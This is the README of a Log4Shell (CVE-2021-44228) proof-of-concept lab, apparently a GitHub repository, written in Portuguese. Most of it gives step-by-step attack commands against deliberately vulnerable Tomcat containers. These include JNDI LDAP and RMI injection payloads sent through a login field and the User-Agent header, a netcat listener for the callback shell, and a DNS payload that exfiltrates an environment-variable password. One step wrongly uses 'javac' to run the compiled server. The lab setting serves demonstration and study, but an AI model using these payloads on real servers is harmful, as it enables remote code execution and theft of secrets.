log4j-poc

Um exploit RCE LDAP para CVE-2021-44228 Log4Shell

Descrição

O servidor Tomcat 8 de demonstração na porta 8080 tem um aplicativo vulnerável (log4shell) implantado e o servidor também é vulnerável a ataques de user-agent.

O aplicativo de exploit remoto nesta demonstração é baseado no encontrado em https://github.com/kozmer/log4j-shell-poc

Este servidor Tomcat de demonstração (Tomcat 8.5.3, Java 1.8.0u51) foi reconfigurado para usar Log4J2 para registro - uma configuração não padrão.

Um servidor Bitnami mais recente está disponível na porta 8888. Ele também está configurado para registro Log4J2 e executa Tomcat 9.0.55 e OpenJDK 11.0.13.

O exploit RMI contra o servidor Tomcat 9 / Java 11 é descrito aqui: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 de janeiro de 2019) por Michael Stepankin

O script de detecção verificará vulnerabilidades de user-agent e é daqui: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Pré-requisitos

Este código requer Docker e Docker Compose

Instalação

git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
#   POC_ADDR is the address of the cve-poc container
#   LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build

Executar Demonstração de Ataque à Aplicação Web

1. Configure seu listener docker no primeiro terminal
   1. nc -lv 10.10.10.31 9001
2. Inicie os contêineres docker em um segundo terminal
   1. docker-compose up
3. Navegue para o aplicativo web na porta 8080
   1. Navegue para http://10.10.10.31:8080/log4shell
      1. Insira o nome de usuário: admin
      2. Insira a senha: password
      3. Selecione o botão "login"
      4. Veja a tela de boas-vindas
   2. Volte para o login em http://10.10.10.31:8080/log4shell
      1. Insira o nome de usuário ${jndi:ldap://172.16.238.11:1389/a}
      2. Selecione o botão "login"
      3. Verifique a conexão no seu listener nc

Executar Demonstração de Ataque de User Agent

1. Configure seu listener docker no primeiro terminal
   1. nc -lv 10.10.10.31 9001
2. Inicie os contêineres docker em um segundo terminal
   1. docker-compose up
3. Em um terceiro terminal, execute o seguinte. O segundo IP é o host docker
   1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

Executar Demonstração de Exfiltração DNS na versão recente do Java 11

1. Inicie os contêineres docker em um terminal
   1. docker-compose up
2. Em um segundo terminal, execute o seguinte. O IP é o endereço IP do host docker
   1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
3. O servidor web vulnerável tentará fazer uma consulta TXT no IP fornecido. Veja log4j-dns_exfil.pcap

Executar Demonstração de RCE RMI na versão recente do Java 11

Estou tendo problemas com o argumento de linha de comando para o alvo de ping. Então você mesmo precisa compilar.

Compilar

1. Inicie os contêineres docker em um terminal
   1. docker-compose up
2. Em outro terminal, faça login no cve-poc
   1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
3. Mate a instância do RMIServerPOC em execução
4. Mude para o diretório rmi-poc
   1. cd /home/user/rmi-poc
5. Edite RMIServerPOC.java para alterar 10.10.10.31 para seu alvo de ping
6. Recompile
   1. javac -cp catalina.jar:. RMIServerPOC.java
7. Execute o Servidor
   1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

Executar Demonstração RMI RCE

1. Inicie os contêineres docker em um terminal
   1. docker-compose up
2. Em um segundo terminal, execute o seguinte. O IP é o endereço IP do host docker
   1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
3. O servidor web vulnerável baixará uma classe maliciosa serializada do servidor RMI para uma classe que já existe no ambiente Tomcat.
4. Isso executará ping no endereço IP definido na seção de compilação.

Detectar Vulnerabilidade UA

1. cd scripts
2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
3. você terá que matar o processo, ainda não sei por que isso trava